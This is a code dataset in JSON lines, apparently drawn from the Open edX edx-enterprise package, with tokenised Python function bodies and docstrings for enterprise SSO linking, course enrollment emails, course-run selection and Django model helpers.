{"signature": "@partial<EOL>def handle_enterprise_logistration(backend, user, **kwargs):", "body": "request = backend.strategy.request<EOL>enterprise_customer = get_enterprise_customer_for_running_pipeline(<EOL>request,<EOL>{<EOL>'<STR_LIT>': backend.name,<EOL>'<STR_LIT>': kwargs<EOL>}<EOL>)<EOL>if enterprise_customer is None:<EOL><INDENT>return<EOL><DEDENT>enterprise_customer_user, _ = EnterpriseCustomerUser.objects.update_or_create(<EOL>enterprise_customer=enterprise_customer,<EOL>user_id=user.id<EOL>)<EOL>enterprise_customer_user.update_session(request)<EOL>", "docstring": "Perform the linking of user in the process of logging to the Enterprise Customer.\n\nArgs:\n    backend: The class handling the SSO interaction (SAML, OAuth, etc)\n    user: The user object in the process of being logged in with\n    **kwargs: Any remaining pipeline variables", "id": "f16087:m2"}
{"signature": "def get_user_from_social_auth(tpa_provider, tpa_username):", "body": "user_social_auth = UserSocialAuth.objects.select_related('<STR_LIT:user>').filter(<EOL>user__username=tpa_username, provider=tpa_provider.backend_name<EOL>).first()<EOL>return user_social_auth.user if user_social_auth else None<EOL>", "docstring": "Find the LMS user from the LMS model `UserSocialAuth`.\n\nArguments:\n    tpa_provider (third_party_auth.provider): third party auth provider object\n    tpa_username (str): Username returned by the third party auth", "id": "f16087:m3"}
{"signature": "def get_identity_provider(provider_id):", "body": "try:<EOL><INDENT>from third_party_auth.provider import Registry   <EOL><DEDENT>except ImportError as exception:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL>LOGGER.warning(exception)<EOL>Registry = None  <EOL><DEDENT>try:<EOL><INDENT>return Registry and Registry.get(provider_id)<EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get Identity Provider with given id.\n\nReturn:\n    Instance of ProviderConfig or None.", "id": "f16088:m0"}
{"signature": "def get_idp_choices():", "body": "try:<EOL><INDENT>from third_party_auth.provider import Registry   <EOL><DEDENT>except ImportError as exception:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL>LOGGER.warning(exception)<EOL>Registry = None  <EOL><DEDENT>first = [(\"<STR_LIT>\", \"<STR_LIT:->\" * <NUM_LIT:7>)]<EOL>if Registry:<EOL><INDENT>return first + [(idp.provider_id, idp.name) for idp in Registry.enabled()]<EOL><DEDENT>return None<EOL>", "docstring": "Get a list of identity providers choices for enterprise customer.\n\nReturn:\n    A list of choices of all identity providers, None if it can not get any available identity provider.", "id": "f16088:m1"}
{"signature": "def get_all_field_names(model):", "body": "return [f.name for f in model._meta.get_fields()]<EOL>", "docstring": "Return all fields' names from a model.\n\nAccording to `Django documentation`_, ``get_all_field_names`` should become some monstrosity with chained\niterable ternary nested in a list comprehension. For now, a simpler version of iterating over fields and\ngetting their names work, but we might have to switch to full version in future.\n\n.. _Django documentation: https://docs.djangoproject.com/en/1.8/ref/models/meta/", "id": "f16088:m2"}
{"signature": "def get_catalog_admin_url(catalog_id):", "body": "return get_catalog_admin_url_template().format(catalog_id=catalog_id)<EOL>", "docstring": "Get url to catalog details admin page.\n\nArguments:\n    catalog_id (int): Catalog id for which to return catalog details url.\n\nReturns:\n     URL pointing to catalog details admin page for the give catalog id.\n\nExample:\n    >>> get_catalog_admin_url_template(2)\n    \"http://localhost:18381/admin/catalogs/catalog/2/change/\"", "id": "f16088:m3"}
{"signature": "def get_catalog_admin_url_template(mode='<STR_LIT>'):", "body": "api_base_url = getattr(settings, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>match = re.match(r\"<STR_LIT>\", api_base_url)<EOL>if not match:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>if mode == '<STR_LIT>':<EOL><INDENT>return match.group(\"<STR_LIT>\").rstrip(\"<STR_LIT:/>\") + \"<STR_LIT>\"<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>return match.group(\"<STR_LIT>\").rstrip(\"<STR_LIT:/>\") + \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Get template of catalog admin url.\n\nURL template will contain a placeholder '{catalog_id}' for catalog id.\nArguments:\n    mode e.g. change/add.\n\nReturns:\n    A string containing template for catalog url.\n\nExample:\n    >>> get_catalog_admin_url_template('change')\n    \"http://localhost:18381/admin/catalogs/catalog/{catalog_id}/change/\"", "id": "f16088:m4"}
{"signature": "def build_notification_message(template_context, template_configuration=None):", "body": "if (<EOL>template_configuration is not None and<EOL>template_configuration.html_template and<EOL>template_configuration.plaintext_template<EOL>):<EOL><INDENT>plain_msg, html_msg = template_configuration.render_all_templates(template_context)<EOL><DEDENT>else:<EOL><INDENT>plain_msg = render_to_string(<EOL>'<STR_LIT>',<EOL>template_context<EOL>)<EOL>html_msg = render_to_string(<EOL>'<STR_LIT>',<EOL>template_context<EOL>)<EOL><DEDENT>return plain_msg, html_msg<EOL>", "docstring": "Create HTML and plaintext message bodies for a notification.\n\nWe receive a context with data we can use to render, as well as an optional site\ntemplate configration - if we don't get a template configuration, we'll use the\nstandard, built-in template.\n\nArguments:\n    template_context (dict): A set of data to render\n    template_configuration: A database-backed object with templates\n        stored that can be used to render a notification.", "id": "f16088:m5"}
{"signature": "def get_notification_subject_line(course_name, template_configuration=None):", "body": "stock_subject_template = _('<STR_LIT>')<EOL>default_subject_template = getattr(<EOL>settings,<EOL>'<STR_LIT>',<EOL>stock_subject_template,<EOL>)<EOL>if template_configuration is not None and template_configuration.subject_line:<EOL><INDENT>final_subject_template = template_configuration.subject_line<EOL><DEDENT>else:<EOL><INDENT>final_subject_template = default_subject_template<EOL><DEDENT>try:<EOL><INDENT>return final_subject_template.format(course_name=course_name)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return default_subject_template.format(course_name=course_name)<EOL><DEDENT>except KeyError:<EOL><INDENT>return stock_subject_template.format(course_name=course_name)<EOL><DEDENT>", "docstring": "Get a subject line for a notification email.\n\nThe method is designed to fail in a \"smart\" way; if we can't render a\ndatabase-backed subject line template, then we'll fall back to a template\nsaved in the Django settings; if we can't render _that_ one, then we'll\nfall through to a friendly string written into the code.\n\nOne example of a failure case in which we want to fall back to a stock template\nwould be if a site admin entered a subject line string that contained a template\ntag that wasn't available, causing a KeyError to be raised.\n\nArguments:\n    course_name (str): Course name to be rendered into the string\n    template_configuration: A database-backed object with a stored subject line template", "id": "f16088:m6"}
{"signature": "def send_email_notification_message(user, enrolled_in, enterprise_customer, email_connection=None):", "body": "if hasattr(user, '<STR_LIT>') and hasattr(user, '<STR_LIT:username>'):<EOL><INDENT>user_name = user.first_name<EOL>if not user_name:<EOL><INDENT>user_name = user.username<EOL><DEDENT><DEDENT>else:<EOL><INDENT>user_name = None<EOL><DEDENT>if hasattr(user, '<STR_LIT:email>'):<EOL><INDENT>user_email = user.email<EOL><DEDENT>elif hasattr(user, '<STR_LIT>'):<EOL><INDENT>user_email = user.user_email<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(_('<STR_LIT>'))<EOL><DEDENT>msg_context = {<EOL>'<STR_LIT>': user_name,<EOL>'<STR_LIT>': enrolled_in,<EOL>'<STR_LIT>': enterprise_customer.name,<EOL>}<EOL>try:<EOL><INDENT>enterprise_template_config = enterprise_customer.enterprise_enrollment_template<EOL><DEDENT>except (ObjectDoesNotExist, AttributeError):<EOL><INDENT>enterprise_template_config = None<EOL><DEDENT>plain_msg, html_msg = build_notification_message(msg_context, enterprise_template_config)<EOL>subject_line = get_notification_subject_line(enrolled_in['<STR_LIT:name>'], enterprise_template_config)<EOL>from_email_address = get_configuration_value_for_site(<EOL>enterprise_customer.site,<EOL>'<STR_LIT>',<EOL>default=settings.DEFAULT_FROM_EMAIL<EOL>)<EOL>return mail.send_mail(<EOL>subject_line,<EOL>plain_msg,<EOL>from_email_address,<EOL>[user_email],<EOL>html_message=html_msg,<EOL>connection=email_connection<EOL>)<EOL>", "docstring": "Send an email notifying a user about their enrollment in a course.\n\nArguments:\n    user: Either a User object or a PendingEnterpriseCustomerUser that we can use\n        to get details for the email\n    enrolled_in (dict): The dictionary contains details of the enrollable object\n        (either course or program) that the user enrolled in. This MUST contain\n        a `name` key, and MAY contain the other following keys:\n            - url: A human-friendly link to the enrollable's home page\n            - type: Either `course` or `program` at present\n            - branding: A special name for what the enrollable \"is\"; for example,\n                \"MicroMasters\" would be the branding for a \"MicroMasters Program\"\n            - start: A datetime object indicating when the enrollable will be available.\n    enterprise_customer: The EnterpriseCustomer that the enrollment was created using.\n    email_connection: An existing Django email connection that can be used without\n        creating a new connection for each individual message", "id": "f16088:m7"}
{"signature": "def get_enterprise_customer(uuid):", "body": "EnterpriseCustomer = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>try:<EOL><INDENT>return EnterpriseCustomer.objects.get(uuid=uuid)  <EOL><DEDENT>except EnterpriseCustomer.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the ``EnterpriseCustomer`` instance associated with ``uuid``.\n\n:param uuid: The universally unique ID of the enterprise customer.\n:return: The ``EnterpriseCustomer`` instance, or ``None`` if it doesn't exist.", "id": "f16088:m8"}
{"signature": "def get_enterprise_customer_for_user(auth_user):", "body": "EnterpriseCustomerUser = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>try:<EOL><INDENT>return EnterpriseCustomerUser.objects.get(user_id=auth_user.id).enterprise_customer  <EOL><DEDENT>except EnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return enterprise customer instance for given user.\n\nSome users are associated with an enterprise customer via `EnterpriseCustomerUser` model,\n    1. if given user is associated with any enterprise customer, return enterprise customer.\n    2. otherwise return `None`.\n\nArguments:\n    auth_user (contrib.auth.User): Django User\n\nReturns:\n    (EnterpriseCustomer): enterprise customer associated with the current user.", "id": "f16088:m9"}
{"signature": "def get_enterprise_customer_user(user_id, enterprise_uuid):", "body": "EnterpriseCustomerUser = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>try:<EOL><INDENT>return EnterpriseCustomerUser.objects.get(  <EOL>enterprise_customer__uuid=enterprise_uuid,<EOL>user_id=user_id<EOL>)<EOL><DEDENT>except EnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the object for EnterpriseCustomerUser.\n\nArguments:\n    user_id (str): user identifier\n    enterprise_uuid (UUID): Universally unique identifier for the enterprise customer.\n\nReturns:\n    (EnterpriseCustomerUser): enterprise customer user record", "id": "f16088:m10"}
{"signature": "def get_course_track_selection_url(course_run, query_parameters):", "body": "try:<EOL><INDENT>course_root = reverse('<STR_LIT>', kwargs={'<STR_LIT>': course_run['<STR_LIT:key>']})<EOL><DEDENT>except KeyError:<EOL><INDENT>LOGGER.exception(<EOL>\"<STR_LIT>\", course_run,<EOL>)<EOL>raise<EOL><DEDENT>url = '<STR_LIT>'.format(<EOL>settings.LMS_ROOT_URL,<EOL>course_root<EOL>)<EOL>course_run_url = update_query_parameters(url, query_parameters)<EOL>return course_run_url<EOL>", "docstring": "Return track selection url for the given course.\n\nArguments:\n    course_run (dict): A dictionary containing course run metadata.\n    query_parameters (dict): A dictionary containing query parameters to be added to course selection url.\n\nRaises:\n    (KeyError): Raised when course run dict does not have 'key' key.\n\nReturns:\n    (str): Course track selection url.", "id": "f16088:m11"}
{"signature": "def update_query_parameters(url, query_parameters):", "body": "scheme, netloc, path, query_string, fragment = urlsplit(url)<EOL>url_params = parse_qs(query_string)<EOL>url_params.update(query_parameters)<EOL>return urlunsplit(<EOL>(scheme, netloc, path, urlencode(sorted(url_params.items()), doseq=True), fragment),<EOL>)<EOL>", "docstring": "Return url with updated query parameters.\n\nArguments:\n    url (str): Original url whose query parameters need to be updated.\n    query_parameters (dict): A dictionary containing query parameters to be added to course selection url.\n\nReturns:\n    (slug): slug identifier for the identity provider that can be used for identity verification of\n        users associated the enterprise customer of the given user.", "id": "f16088:m12"}
{"signature": "def filter_audit_course_modes(enterprise_customer, course_modes):", "body": "audit_modes = getattr(settings, '<STR_LIT>', ['<STR_LIT>'])<EOL>if not enterprise_customer.enable_audit_enrollment:<EOL><INDENT>return [course_mode for course_mode in course_modes if course_mode['<STR_LIT>'] not in audit_modes]<EOL><DEDENT>return course_modes<EOL>", "docstring": "Filter audit course modes out if the enterprise customer has not enabled the 'Enable audit enrollment' flag.\n\nArguments:\n    enterprise_customer: The EnterpriseCustomer that the enrollment was created using.\n    course_modes: iterable with dictionaries containing a required 'mode' key", "id": "f16088:m13"}
{"signature": "def get_enterprise_customer_or_404(enterprise_uuid):", "body": "EnterpriseCustomer = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>try:<EOL><INDENT>enterprise_uuid = UUID(enterprise_uuid)<EOL>return EnterpriseCustomer.objects.get(uuid=enterprise_uuid)  <EOL><DEDENT>except (TypeError, ValueError, EnterpriseCustomer.DoesNotExist):<EOL><INDENT>LOGGER.error('<STR_LIT>', enterprise_uuid)<EOL>raise Http404<EOL><DEDENT>", "docstring": "Given an EnterpriseCustomer UUID, return the corresponding EnterpriseCustomer or raise a 404.\n\nArguments:\n    enterprise_uuid (str): The UUID (in string form) of the EnterpriseCustomer to fetch.\n\nReturns:\n    (EnterpriseCustomer): The EnterpriseCustomer given the UUID.", "id": "f16088:m14"}
{"signature": "def clean_html_for_template_rendering(text):", "body": "<EOL>return text.replace('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Given html text that will be rendered as a variable in a template, strip out characters that impact rendering.\n\nArguments:\n    text (str): The text to clean.\n\nReturns:\n    (str): The cleaned text.", "id": "f16088:m15"}
{"signature": "def get_cache_key(**kwargs):", "body": "key = '<STR_LIT>'.join(['<STR_LIT>'.format(item, value) for item, value in iteritems(kwargs)])<EOL>return hashlib.md5(key.encode('<STR_LIT:utf-8>')).hexdigest()<EOL>", "docstring": "Get MD5 encoded cache key for given arguments.\n\nHere is the format of key before MD5 encryption.\n    key1:value1__key2:value2 ...\n\nExample:\n    >>> get_cache_key(site_domain=\"example.com\", resource=\"enterprise\")\n    # Here is key format for above call\n    # \"site_domain:example.com__resource:enterprise\"\n    a54349175618ff1659dee0978e3149ca\n\nArguments:\n    **kwargs: Key word arguments that need to be present in cache key.\n\nReturns:\n     An MD5 encoded key uniquely identified by the key word arguments.", "id": "f16088:m16"}
{"signature": "def traverse_pagination(response, endpoint):", "body": "results = response.get('<STR_LIT>', [])<EOL>next_page = response.get('<STR_LIT>')<EOL>while next_page:<EOL><INDENT>querystring = parse_qs(urlparse(next_page).query, keep_blank_values=True)<EOL>response = endpoint.get(**querystring)<EOL>results += response.get('<STR_LIT>', [])<EOL>next_page = response.get('<STR_LIT>')<EOL><DEDENT>return results<EOL>", "docstring": "Traverse a paginated API response.\n\nExtracts and concatenates \"results\" (list of dict) returned by DRF-powered\nAPIs.\n\nArguments:\n    response (Dict): Current response dict from service API\n    endpoint (slumber Resource object): slumber Resource object from edx-rest-api-client\n\nReturns:\n    list of dict.", "id": "f16088:m17"}
{"signature": "def ungettext_min_max(singular, plural, range_text, min_val, max_val):", "body": "if min_val is None and max_val is None:<EOL><INDENT>return None<EOL><DEDENT>if min_val == max_val or min_val is None or max_val is None:<EOL><INDENT>return ungettext(singular, plural, min_val or max_val).format(min_val or max_val)<EOL><DEDENT>return range_text.format(min_val, max_val)<EOL>", "docstring": "Return grammatically correct, translated text based off of a minimum and maximum value.\n\nExample:\n    min = 1, max = 1, singular = '{} hour required for this course', plural = '{} hours required for this course'\n    output = '1 hour required for this course'\n\n    min = 2, max = 2, singular = '{} hour required for this course', plural = '{} hours required for this course'\n    output = '2 hours required for this course'\n\n    min = 2, max = 4, range_text = '{}-{} hours required for this course'\n    output = '2-4 hours required for this course'\n\n    min = None, max = 2, plural = '{} hours required for this course'\n    output = '2 hours required for this course'\n\nExpects ``range_text`` to already have a translation function called on it.\n\nReturns:\n    ``None`` if both of the input values are ``None``.\n    ``singular`` formatted if both are equal or one of the inputs, but not both, are ``None``, and the value is 1.\n    ``plural`` formatted if both are equal or one of its inputs, but not both, are ``None``, and the value is > 1.\n    ``range_text`` formatted if min != max and both are valid values.", "id": "f16088:m18"}
{"signature": "def format_price(price, currency='<STR_LIT:$>'):", "body": "if int(price) == price:<EOL><INDENT>return '<STR_LIT>'.format(currency, int(price))<EOL><DEDENT>return '<STR_LIT>'.format(currency, price)<EOL>", "docstring": "Format the price to have the appropriate currency and digits..\n\n:param price: The price amount.\n:param currency: The currency for the price.\n:return: A formatted price string, i.e. '$10', '$10.52'.", "id": "f16088:m19"}
{"signature": "def get_configuration_value_for_site(site, key, default=None):", "body": "if hasattr(site, '<STR_LIT>'):<EOL><INDENT>return site.configuration.get_value(key, default)<EOL><DEDENT>return default<EOL>", "docstring": "Get the site configuration value for a key, unless a site configuration does not exist for that site.\n\nUseful for testing when no Site Configuration exists in edx-enterprise or if a site in LMS doesn't have\na configuration tied to it.\n\n:param site: A Site model object\n:param key: The name of the value to retrieve\n:param default: The default response if there's no key in site config or settings\n:return: The value located at that key in the site configuration or settings file.", "id": "f16088:m20"}
{"signature": "def get_configuration_value(val_name, default=None, **kwargs):", "body": "if kwargs.get('<STR_LIT:type>') == '<STR_LIT:url>':<EOL><INDENT>return get_url(val_name) or default if callable(get_url) else default<EOL><DEDENT>return configuration_helpers.get_value(val_name, default, **kwargs) if configuration_helpers else default<EOL>", "docstring": "Get a configuration value, or fall back to ``default`` if it doesn't exist.\n\nAlso takes a `type` argument to guide which particular upstream method to use when trying to retrieve a value.\nCurrent types include:\n    - `url` to specifically get a URL.", "id": "f16088:m21"}
{"signature": "def get_request_value(request, key, default=None):", "body": "if request.method in ['<STR_LIT:GET>', '<STR_LIT>']:<EOL><INDENT>return request.query_params.get(key, request.data.get(key, default))<EOL><DEDENT>return request.data.get(key, request.query_params.get(key, default))<EOL>", "docstring": "Get the value in the request, either through query parameters or posted data, from a key.\n\n:param request: The request from which the value should be gotten.\n:param key: The key to use to get the desired value.\n:param default: The backup value to use in case the input key cannot help us get the value.\n:return: The value we're looking for.", "id": "f16088:m22"}
{"signature": "def get_program_type_description(program_type):", "body": "return PROGRAM_TYPE_DESCRIPTION.get(program_type, '<STR_LIT>')<EOL>", "docstring": "Get the pre-set description associated with this program type.\n\n:param program_type: The type of the program. Should be one of:\n\n* \"MicroMasters Certificate\"\n* \"Professional Certificate\"\n* \"XSeries Certificate\"\n\n:return: The description associated with the program type. If none exists, then the empty string.", "id": "f16088:m23"}
{"signature": "def get_enterprise_utm_context(enterprise_customer):", "body": "return {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': slugify(enterprise_customer.name)<EOL>}<EOL>", "docstring": "Get the UTM context for the enterprise.", "id": "f16088:m24"}
{"signature": "def track_event(user_id, event_name, properties):", "body": "<EOL>if segment:<EOL><INDENT>segment.track(user_id, event_name, properties)<EOL><DEDENT>", "docstring": "Emit a track event to segment (and forwarded to GA) for some parts of the Enterprise workflows.", "id": "f16088:m25"}
{"signature": "def track_enrollment(pathway, user_id, course_run_id, url_path=None):", "body": "track_event(user_id, '<STR_LIT>', {<EOL>'<STR_LIT>': pathway,<EOL>'<STR_LIT>': url_path,<EOL>'<STR_LIT>': course_run_id,<EOL>})<EOL>", "docstring": "Emit a track event for enterprise course enrollment.", "id": "f16088:m26"}
{"signature": "def parse_datetime_handle_invalid(datetime_value):", "body": "try:<EOL><INDENT>return parse_datetime(datetime_value).replace(tzinfo=pytz.UTC)<EOL><DEDENT>except TypeError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the parsed version of a datetime string. If the string is invalid, return None.", "id": "f16088:m27"}
{"signature": "def is_course_run_enrollable(course_run):", "body": "now = datetime.datetime.now(pytz.UTC)<EOL>end = parse_datetime_handle_invalid(course_run.get('<STR_LIT:end>'))<EOL>enrollment_start = parse_datetime_handle_invalid(course_run.get('<STR_LIT>'))<EOL>enrollment_end = parse_datetime_handle_invalid(course_run.get('<STR_LIT>'))<EOL>return (not end or end > now) and(not enrollment_start or enrollment_start < now) and(not enrollment_end or enrollment_end > now)<EOL>", "docstring": "Return true if the course run is enrollable, false otherwise.\n\nWe look for the following criteria:\n- end is greater than now OR null\n- enrollment_start is less than now OR null\n- enrollment_end is greater than now OR null", "id": "f16088:m28"}
{"signature": "def is_course_run_upgradeable(course_run):", "body": "now = datetime.datetime.now(pytz.UTC)<EOL>for seat in course_run.get('<STR_LIT>', []):<EOL><INDENT>if seat.get('<STR_LIT:type>') == '<STR_LIT>':<EOL><INDENT>upgrade_deadline = parse_datetime_handle_invalid(seat.get('<STR_LIT>'))<EOL>return not upgrade_deadline or upgrade_deadline > now<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return true if the course run has a verified seat with an unexpired upgrade deadline, false otherwise.", "id": "f16088:m29"}
{"signature": "def get_course_run_start(course_run, default=None):", "body": "return parse_datetime_handle_invalid(course_run.get('<STR_LIT:start>')) or default<EOL>", "docstring": "Return the given course run's start date as a datetime.", "id": "f16088:m30"}
{"signature": "def get_closest_course_run(course_runs):", "body": "if len(course_runs) == <NUM_LIT:1>:<EOL><INDENT>return course_runs[<NUM_LIT:0>]<EOL><DEDENT>now = datetime.datetime.now(pytz.UTC)<EOL>never = now - datetime.timedelta(days=<NUM_LIT>)<EOL>return min(course_runs, key=lambda x: abs(get_course_run_start(x, never) - now))<EOL>", "docstring": "Return course run with start date closest to now.", "id": "f16088:m31"}
{"signature": "def get_active_course_runs(course, users_all_enrolled_courses):", "body": "<EOL>enrolled_course_run_ids = [<EOL>enrolled_course_run['<STR_LIT>']['<STR_LIT>'] for enrolled_course_run in users_all_enrolled_courses<EOL>if enrolled_course_run['<STR_LIT>'] and enrolled_course_run.get('<STR_LIT>')<EOL>]<EOL>return [course_run for course_run in course['<STR_LIT>'] if course_run['<STR_LIT:key>'] in enrolled_course_run_ids]<EOL>", "docstring": "Return active course runs (user is enrolled in) of the given course.\n\nThis function will return the course_runs of 'course' which have\nactive enrollment by looking into 'users_all_enrolled_courses'", "id": "f16088:m32"}
{"signature": "def get_current_course_run(course, users_active_course_runs):", "body": "current_course_run = None<EOL>filtered_course_runs = []<EOL>all_course_runs = course['<STR_LIT>']<EOL>if users_active_course_runs:<EOL><INDENT>current_course_run = get_closest_course_run(users_active_course_runs)<EOL><DEDENT>else:<EOL><INDENT>for course_run in all_course_runs:<EOL><INDENT>if is_course_run_enrollable(course_run) and is_course_run_upgradeable(course_run):<EOL><INDENT>filtered_course_runs.append(course_run)<EOL><DEDENT><DEDENT>if not filtered_course_runs:<EOL><INDENT>filtered_course_runs = all_course_runs<EOL><DEDENT>if filtered_course_runs:<EOL><INDENT>current_course_run = get_closest_course_run(filtered_course_runs)<EOL><DEDENT><DEDENT>return current_course_run<EOL>", "docstring": "Return the current course run on the following conditions.\n\n- If user has active course runs (already enrolled) then return course run with closest start date\nOtherwise it will check the following logic:\n- Course run is enrollable (see is_course_run_enrollable)\n- Course run has a verified seat and the upgrade deadline has not expired.\n- Course run start date is closer to now than any other enrollable/upgradeable course runs.\n- If no enrollable/upgradeable course runs, return course run with most recent start date.", "id": "f16088:m33"}
{"signature": "def strip_html_tags(text, allowed_tags=None):", "body": "if text is None:<EOL><INDENT>return<EOL><DEDENT>if allowed_tags is None:<EOL><INDENT>allowed_tags = ALLOWED_TAGS<EOL><DEDENT>return bleach.clean(text, tags=allowed_tags, attributes=['<STR_LIT:id>', '<STR_LIT:class>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:title>'], strip=True)<EOL>", "docstring": "Strip all tags from a string except those tags provided in `allowed_tags` parameter.\n\nArgs:\n    text (str): string to strip html tags from\n    allowed_tags (list): allowed list of html tags\n\nReturns: a string without html tags", "id": "f16088:m34"}
{"signature": "def parse_course_key(course_identifier):", "body": "try:<EOL><INDENT>course_run_key = CourseKey.from_string(course_identifier)<EOL><DEDENT>except InvalidKeyError:<EOL><INDENT>return course_identifier<EOL><DEDENT>return quote_plus('<STR_LIT:U+0020>'.join([course_run_key.org, course_run_key.course]))<EOL>", "docstring": "Return the serialized course key given either a course run ID or course key.", "id": "f16088:m35"}
{"signature": "def get_content_metadata_item_id(content_metadata_item):", "body": "if content_metadata_item['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>return content_metadata_item['<STR_LIT>']<EOL><DEDENT>return content_metadata_item['<STR_LIT:key>']<EOL>", "docstring": "Return the unique identifier given a content metadata item dictionary.", "id": "f16088:m36"}
{"signature": "def get_default_catalog_content_filter():", "body": "return settings.ENTERPRISE_CUSTOMER_CATALOG_DEFAULT_CONTENT_FILTER or DEFAULT_CATALOG_CONTENT_FILTER<EOL>", "docstring": "Return default enterprise customer catalog content filter.", "id": "f16088:m37"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "LOGGER.warning('<STR_LIT>')<EOL>super(NotConnectedToOpenEdX, self).__init__(*args, **kwargs)<EOL>", "docstring": "Log a warning and initialize the exception.", "id": "f16088:c0:m0"}
{"signature": "def __init__(self, programs_matched, *args, **kwargs):", "body": "super(MultipleProgramMatchError, self).__init__(*args, **kwargs)<EOL>self.programs_matched = programs_matched<EOL>", "docstring": "Initialize :class:`MultipleProgramMatchError`.\n\nArguments:\n    programs_matched (int): number of programs matched where one  proram was expected.\n    args (iterable): variable arguments\n    kwargs (dict): keyword arguments", "id": "f16088:c2:m0"}
{"signature": "def here(*args):", "body": "return join(abspath(dirname(__file__)), *args)<EOL>", "docstring": "Return the absolute path to a directory from this file.", "id": "f16089:m0"}
{"signature": "def root(*args):", "body": "return abspath(join(abspath(here('<STR_LIT>')), *args))<EOL>", "docstring": "Return the absolute path to some file from the project's root.", "id": "f16089:m1"}
{"signature": "def get_default_customer_type():", "body": "enterprise_customer_type, __ = EnterpriseCustomerType.objects.get_or_create(<EOL>name='<STR_LIT>'<EOL>)<EOL>return enterprise_customer_type.id<EOL>", "docstring": "Get default enterprise customer type id to use when creating a new EnterpriseCustomer model.", "id": "f16090:m0"}
{"signature": "def logo_path(instance, filename):", "body": "extension = os.path.splitext(filename)[<NUM_LIT:1>].lower()<EOL>instance_id = str(instance.id)<EOL>fullname = os.path.join(\"<STR_LIT>\", instance_id, instance_id + \"<STR_LIT>\" + extension)<EOL>if default_storage.exists(fullname):<EOL><INDENT>default_storage.delete(fullname)<EOL><DEDENT>return fullname<EOL>", "docstring": "Delete the file if it already exist and returns the enterprise customer logo image path.\n\nArguments:\n    instance (:class:`.EnterpriseCustomerBrandingConfiguration`): EnterpriseCustomerBrandingConfiguration object\n    filename (str): file to upload\n\nReturns:\n    path: path of image file e.g. enterprise/branding/<model.id>/<model_id>_logo.<ext>.lower()", "id": "f16090:m1"}
{"signature": "def get_queryset(self):", "body": "return super(EnterpriseCustomerManager, self).get_queryset().filter(active=True)<EOL>", "docstring": "Return a new QuerySet object. Filters out inactive Enterprise Customers.", "id": "f16090:c0:m0"}
{"signature": "def __str__(self):", "body": "return self.name<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c1:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c1:m1"}
{"signature": "@property<EOL><INDENT>def identity_provider(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.enterprise_customer_identity_provider and self.enterprise_customer_identity_provider.provider_id<EOL><DEDENT>except ObjectDoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the unique slug for the identity provider associated with this enterprise customer.\n\nReturns `None` if enterprise customer does not have any identity provider.", "id": "f16090:c2:m0"}
{"signature": "def __str__(self):", "body": "<EOL>return \"<STR_LIT>\".format(code=self.uuid.time_low, name=self.name)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c2:m1"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c2:m2"}
{"signature": "def enforces_data_sharing_consent(self, enforcement_location):", "body": "return self.requests_data_sharing_consent and self.enforce_data_sharing_consent == enforcement_location<EOL>", "docstring": "Determine whether the enterprise customer enforce data sharing consent at the given point.\n\nArgs:\n    enforcement_location (str): the point where to see data sharing consent state.\n    argument can either be 'at_enrollment' or 'externally_managed'", "id": "f16090:c2:m3"}
{"signature": "@property<EOL><INDENT>def requests_data_sharing_consent(self):<DEDENT>", "body": "return self.enable_data_sharing_consent and self.enforce_data_sharing_consent != self.EXTERNALLY_MANAGED<EOL>", "docstring": "Determine whether the enterprise customer has enabled the data sharing consent request.", "id": "f16090:c2:m4"}
{"signature": "@property<EOL><INDENT>def enables_audit_data_reporting(self):<DEDENT>", "body": "return self.enable_audit_enrollment and self.enable_audit_data_reporting<EOL>", "docstring": "Determine whether the enterprise customer has enabled the ability to report/pass-back audit track data.", "id": "f16090:c2:m5"}
{"signature": "@property<EOL><INDENT>def serialized(self):<DEDENT>", "body": "from enterprise.api.v1 import serializers<EOL>return serializers.EnterpriseCustomerSerializer(self).data<EOL>", "docstring": "Return a serialized version of this customer.", "id": "f16090:c2:m6"}
{"signature": "def get_data_sharing_consent_text_overrides(self, published_only=True):", "body": "<EOL>DataSharingConsentTextOverrides = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>queryset = DataSharingConsentTextOverrides.objects.filter(enterprise_customer=self)<EOL>if published_only:<EOL><INDENT>queryset = queryset.filter(published=True)<EOL><DEDENT>return queryset.first()<EOL>", "docstring": "Return DataSharingConsentTextOverrides associated with this instance.", "id": "f16090:c2:m7"}
